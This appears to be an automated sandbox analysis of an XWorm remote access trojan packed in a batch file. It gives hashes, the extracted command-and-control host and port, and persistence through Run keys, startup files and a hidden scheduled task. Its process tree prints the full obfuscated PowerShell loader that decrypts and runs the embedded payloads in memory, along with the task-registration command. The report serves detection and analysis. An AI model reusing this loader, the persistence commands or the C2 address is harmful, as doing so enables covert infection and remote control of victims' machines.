xworm | f07d66adf106785f59920963b5c928dfd5a16774ab476f262135bc3c2cd58590

Analysis

max time kernel
49s
max time network
39s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250113-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250113-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
21-01-2025 22:46

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General

Target

LOL EZ.bat
Size

278KB
MD5

c7f70f6597b99690acab02390af9a913
SHA1

ec989e5b37d4d9bf56d9b330ed97826313ae3255
SHA256

f07d66adf106785f59920963b5c928dfd5a16774ab476f262135bc3c2cd58590
SHA512

991f4c36731dea73455da9a81185af01fb54cda915b5632edbc3f2251648745e47fd09b21d6548dcae170b1bfcf470b89f311cefc6733013be23667b31ae036b
SSDEEP

6144:3LDqmpofOLfpSCTvwLEbxm1/zGfAaWK6NY8M2PZaNSRw4ia:bDqmpofOLfh73KqltvChaivL

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

real-enquiry.gl.at.ply.gg:15403

Mutex

Twor9QJPgxqGUGz9

Attributes

Install_directory
%Public%
install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2352-94-0x000001A7F4CC0000-0x000001A7F4CD0000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
17	2352	powershell.exe
26	2352	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
384	powershell.exe
4132	powershell.exe
2352	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1898866115-3160784972-1217720036-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$phantomClient.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$phantomClient.lnk	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1898866115-3160784972-1217720036-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$phantomClient = "C:\\Users\\Public\\$phantomClient"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "00188011E125D93F"	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1898866115-3160784972-1217720036-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
384	powershell.exe
384	powershell.exe
4132	powershell.exe
4132	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	384	powershell.exe
Token: SeDebugPrivilege	4132	powershell.exe
Token: SeIncreaseQuotaPrivilege	4132	powershell.exe
Token: SeSecurityPrivilege	4132	powershell.exe
Token: SeTakeOwnershipPrivilege	4132	powershell.exe
Token: SeLoadDriverPrivilege	4132	powershell.exe
Token: SeSystemProfilePrivilege	4132	powershell.exe
Token: SeSystemtimePrivilege	4132	powershell.exe
Token: SeProfSingleProcessPrivilege	4132	powershell.exe
Token: SeIncBasePriorityPrivilege	4132	powershell.exe
Token: SeCreatePagefilePrivilege	4132	powershell.exe
Token: SeBackupPrivilege	4132	powershell.exe
Token: SeRestorePrivilege	4132	powershell.exe
Token: SeShutdownPrivilege	4132	powershell.exe
Token: SeDebugPrivilege	4132	powershell.exe
Token: SeSystemEnvironmentPrivilege	4132	powershell.exe
Token: SeRemoteShutdownPrivilege	4132	powershell.exe
Token: SeUndockPrivilege	4132	powershell.exe
Token: SeManageVolumePrivilege	4132	powershell.exe
Token: 33	4132	powershell.exe
Token: 34	4132	powershell.exe
Token: 35	4132	powershell.exe
Token: 36	4132	powershell.exe
Token: SeIncreaseQuotaPrivilege	4132	powershell.exe
Token: SeSecurityPrivilege	4132	powershell.exe
Token: SeTakeOwnershipPrivilege	4132	powershell.exe
Token: SeLoadDriverPrivilege	4132	powershell.exe
Token: SeSystemProfilePrivilege	4132	powershell.exe
Token: SeSystemtimePrivilege	4132	powershell.exe
Token: SeProfSingleProcessPrivilege	4132	powershell.exe
Token: SeIncBasePriorityPrivilege	4132	powershell.exe
Token: SeCreatePagefilePrivilege	4132	powershell.exe
Token: SeBackupPrivilege	4132	powershell.exe
Token: SeRestorePrivilege	4132	powershell.exe
Token: SeShutdownPrivilege	4132	powershell.exe
Token: SeDebugPrivilege	4132	powershell.exe
Token: SeSystemEnvironmentPrivilege	4132	powershell.exe
Token: SeRemoteShutdownPrivilege	4132	powershell.exe
Token: SeUndockPrivilege	4132	powershell.exe
Token: SeManageVolumePrivilege	4132	powershell.exe
Token: 33	4132	powershell.exe
Token: 34	4132	powershell.exe
Token: 35	4132	powershell.exe
Token: 36	4132	powershell.exe
Token: SeIncreaseQuotaPrivilege	4132	powershell.exe
Token: SeSecurityPrivilege	4132	powershell.exe
Token: SeTakeOwnershipPrivilege	4132	powershell.exe
Token: SeLoadDriverPrivilege	4132	powershell.exe
Token: SeSystemProfilePrivilege	4132	powershell.exe
Token: SeSystemtimePrivilege	4132	powershell.exe
Token: SeProfSingleProcessPrivilege	4132	powershell.exe
Token: SeIncBasePriorityPrivilege	4132	powershell.exe
Token: SeCreatePagefilePrivilege	4132	powershell.exe
Token: SeBackupPrivilege	4132	powershell.exe
Token: SeRestorePrivilege	4132	powershell.exe
Token: SeShutdownPrivilege	4132	powershell.exe
Token: SeDebugPrivilege	4132	powershell.exe
Token: SeSystemEnvironmentPrivilege	4132	powershell.exe
Token: SeRemoteShutdownPrivilege	4132	powershell.exe
Token: SeUndockPrivilege	4132	powershell.exe
Token: SeManageVolumePrivilege	4132	powershell.exe
Token: 33	4132	powershell.exe
Token: 34	4132	powershell.exe
Token: 35	4132	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3208 wrote to memory of 3752	3208	cmd.exe	82
PID 3208 wrote to memory of 3752	3208	cmd.exe	82
PID 3752 wrote to memory of 660	3752	net.exe	83
PID 3752 wrote to memory of 660	3752	net.exe	83
PID 3208 wrote to memory of 4964	3208	cmd.exe	85
PID 3208 wrote to memory of 4964	3208	cmd.exe	85
PID 3208 wrote to memory of 384	3208	cmd.exe	86
PID 3208 wrote to memory of 384	3208	cmd.exe	86
PID 384 wrote to memory of 4132	384	powershell.exe	89
PID 384 wrote to memory of 4132	384	powershell.exe	89
PID 384 wrote to memory of 3912	384	powershell.exe	93
PID 384 wrote to memory of 3912	384	powershell.exe	93
PID 3912 wrote to memory of 1760	3912	WScript.exe	94
PID 3912 wrote to memory of 1760	3912	WScript.exe	94
PID 1760 wrote to memory of 2396	1760	cmd.exe	96
PID 1760 wrote to memory of 2396	1760	cmd.exe	96
PID 2396 wrote to memory of 3172	2396	net.exe	97
PID 2396 wrote to memory of 3172	2396	net.exe	97
PID 1760 wrote to memory of 692	1760	cmd.exe	98
PID 1760 wrote to memory of 692	1760	cmd.exe	98
PID 1760 wrote to memory of 2352	1760	cmd.exe	99
PID 1760 wrote to memory of 2352	1760	cmd.exe	99
PID 2352 wrote to memory of 3720	2352	powershell.exe	57
PID 2352 wrote to memory of 1968	2352	powershell.exe	33
PID 2352 wrote to memory of 1572	2352	powershell.exe	27
PID 2352 wrote to memory of 976	2352	powershell.exe	12
PID 2352 wrote to memory of 1368	2352	powershell.exe	23
PID 2352 wrote to memory of 1564	2352	powershell.exe	26
PID 2352 wrote to memory of 3336	2352	powershell.exe	67
PID 2352 wrote to memory of 2152	2352	powershell.exe	38
PID 2352 wrote to memory of 2544	2352	powershell.exe	42
PID 2352 wrote to memory of 2332	2352	powershell.exe	41
PID 2352 wrote to memory of 1344	2352	powershell.exe	22
PID 2352 wrote to memory of 944	2352	powershell.exe	36
PID 2352 wrote to memory of 3608	2352	powershell.exe	56
PID 2352 wrote to memory of 1720	2352	powershell.exe	30
PID 2352 wrote to memory of 928	2352	powershell.exe	11
PID 2352 wrote to memory of 1116	2352	powershell.exe	18
PID 2352 wrote to memory of 2100	2352	powershell.exe	37
PID 2352 wrote to memory of 2296	2352	powershell.exe	40
PID 2352 wrote to memory of 3280	2352	powershell.exe	55
PID 2352 wrote to memory of 2488	2352	powershell.exe	71
PID 2352 wrote to memory of 708	2352	powershell.exe	15
PID 2352 wrote to memory of 2860	2352	powershell.exe	49
PID 2352 wrote to memory of 3844	2352	powershell.exe	58
PID 2352 wrote to memory of 1276	2352	powershell.exe	21
PID 2352 wrote to memory of 4228	2352	powershell.exe	74
PID 2352 wrote to memory of 2844	2352	powershell.exe	47
PID 2352 wrote to memory of 2032	2352	powershell.exe	35
PID 2352 wrote to memory of 2632	2352	powershell.exe	44
PID 2352 wrote to memory of 3024	2352	powershell.exe	53
PID 2352 wrote to memory of 1644	2352	powershell.exe	29
PID 2352 wrote to memory of 4992	2352	powershell.exe	66
PID 2352 wrote to memory of 460	2352	powershell.exe	13
PID 2352 wrote to memory of 2624	2352	powershell.exe	43
PID 2352 wrote to memory of 1832	2352	powershell.exe	32
PID 2352 wrote to memory of 1828	2352	powershell.exe	91
PID 2352 wrote to memory of 2024	2352	powershell.exe	34
PID 2352 wrote to memory of 1432	2352	powershell.exe	25
PID 2352 wrote to memory of 444	2352	powershell.exe	14
PID 2352 wrote to memory of 1624	2352	powershell.exe	28
PID 2352 wrote to memory of 1820	2352	powershell.exe	31
PID 2352 wrote to memory of 1028	2352	powershell.exe	16
PID 2352 wrote to memory of 1412	2352	powershell.exe	24

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:820
- C:\Windows\System32\mousocoreworker.exe
  C:\Windows\System32\mousocoreworker.exe -Embedding
  2⤵
  PID:4860
- C:\Windows\System32\RuntimeBroker.exe
  C:\Windows\System32\RuntimeBroker.exe -Embedding
  2⤵
  PID:2008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:928

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:976

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:460

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1412

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1432

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1644

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1968

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2296

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2332

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2852

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3608

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\LOL EZ.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3208
- - C:\Windows\system32\net.exe
    net file
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3752
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 file
      4⤵
      PID:660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a6/Dz0sQgg0AXxVY9QgYlHPhkoWXKtsBNvv5q5mWBz0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XHnjn+k0TpEqrCKjUcNHHQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HpFJb=New-Object System.IO.MemoryStream(,$param_var); $aolNn=New-Object System.IO.MemoryStream; $iXSFF=New-Object System.IO.Compression.GZipStream($HpFJb, [IO.Compression.CompressionMode]::Decompress); $iXSFF.CopyTo($aolNn); $iXSFF.Dispose(); $HpFJb.Dispose(); $aolNn.Dispose(); $aolNn.ToArray();}function execute_function($param_var,$param2_var){ $joNGZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XpYvB=$joNGZ.EntryPoint; $XpYvB.Invoke($null, $param2_var);}$DxRwH = 'C:\Users\Admin\AppData\Local\Temp\LOL EZ.bat';$host.UI.RawUI.WindowTitle = $DxRwH;$NGRKp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($DxRwH).Split([Environment]::NewLine);foreach ($lDbVo in $NGRKp) { if ($lDbVo.StartsWith('aTooeqEeiEcbowJqPEvQ')) { $AbfNn=$lDbVo.Substring(20); break; }}$payloads_var=[string[]]$AbfNn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:4964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:384
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_94_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_94.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4132
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_94.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:3912
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_94.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1760
      - C:\Windows\system32\net.exe
        
        net file
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2396
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        7⤵
        
        PID:3172
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a6/Dz0sQgg0AXxVY9QgYlHPhkoWXKtsBNvv5q5mWBz0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XHnjn+k0TpEqrCKjUcNHHQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HpFJb=New-Object System.IO.MemoryStream(,$param_var); $aolNn=New-Object System.IO.MemoryStream; $iXSFF=New-Object System.IO.Compression.GZipStream($HpFJb, [IO.Compression.CompressionMode]::Decompress); $iXSFF.CopyTo($aolNn); $iXSFF.Dispose(); $HpFJb.Dispose(); $aolNn.Dispose(); $aolNn.ToArray();}function execute_function($param_var,$param2_var){ $joNGZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XpYvB=$joNGZ.EntryPoint; $XpYvB.Invoke($null, $param2_var);}$DxRwH = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_94.bat';$host.UI.RawUI.WindowTitle = $DxRwH;$NGRKp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($DxRwH).Split([Environment]::NewLine);foreach ($lDbVo in $NGRKp) { if ($lDbVo.StartsWith('aTooeqEeiEcbowJqPEvQ')) { $AbfNn=$lDbVo.Substring(20); break; }}$payloads_var=[string[]]$AbfNn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:692
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3844

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3336

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:2488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:1828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:2764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
3ccf13786554a09feada0ddedbc8a646

SHA1
54d359350816173172d9a351b465207e4be88a8f

SHA256
f436e158dc2fc703547bec5d5111f4a7d43b2b7bb02a16dbab812e48ce8e5ca9

SHA512
6fb3d66ccc739b2a6d93b19af338b3b8cda9c3d431dc9343ccfb7c121fc7f4383aad7581e6e27f9bd482d40b970ab6a61a4365a8003a96b190a9e781b2ae91b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pboeyq52.axs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_94.vbs

Filesize
123B

MD5
3955a88a459d28ac972e585c4b9b9cb5

SHA1
4dce02dabf87ff5f76af08b762a5fb7d7bc3d58d

SHA256
62c224ef38bd1714300c5551995a0a7046a98a853a20aea78240e285d814f239

SHA512
4898eebfd35ff3ebabaae3674610aa6c67014b5cfc64de635d23df080a522721dabe004cdcf5bbf17c2313aaeb1726690a13f3f363122bce245af92dbbf4180e

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
3KB

MD5
c6086d02f8ce044f5fa07a98303dc7eb

SHA1
6116247e9d098b276b476c9f4c434f55d469129c

SHA256
8901d9c9aea465da4ea7aa874610a90b8cf0a71eba0e321cf9675fceee0b54a0

SHA512
1876d8fc1a8ac83aadb725100ea7a1791bd62d4d0edc1b78802e0bffe458f309a66dc97e1b9da60dd52b8cb80bf471ccb5f8480e6192c9eb2a13eac36462d27a

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
3KB

MD5
39b9eb9d1a56bc1792c844c425bd1dec

SHA1
db5a91082fa14eeb6550cbc994d34ebd95341df9

SHA256
acade97e8a1d30477d0dc3fdfea70c2c617c369b56115ec708ed8a2cfdbc3692

SHA512
255b1c1c456b20e6e3415540ef8af58e723f965d1fa782da44a6bbc81b43d8a31c5681777ba885f91ed2dae480bc2a4023e01fe2986857b13323f0459520eb51

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
4ac1741ceb19f5a983079b2c5f344f5d

SHA1
f1ebd93fbade2e035cd59e970787b8042cdd0f3b

SHA256
7df73f71214cdd2f2d477d6c2c65f6e4c2f5955fc669cde9c583b0ff9553ecdc

SHA512
583706069a7c0b22926fa22fc7bedcca9d6750d1542a1125b688fbb0595baf6cefc76e7b6e49c1415c782a21d0dd504c78fa36efad5f29f2fd5d69cc45ad8dcd

Download Submit
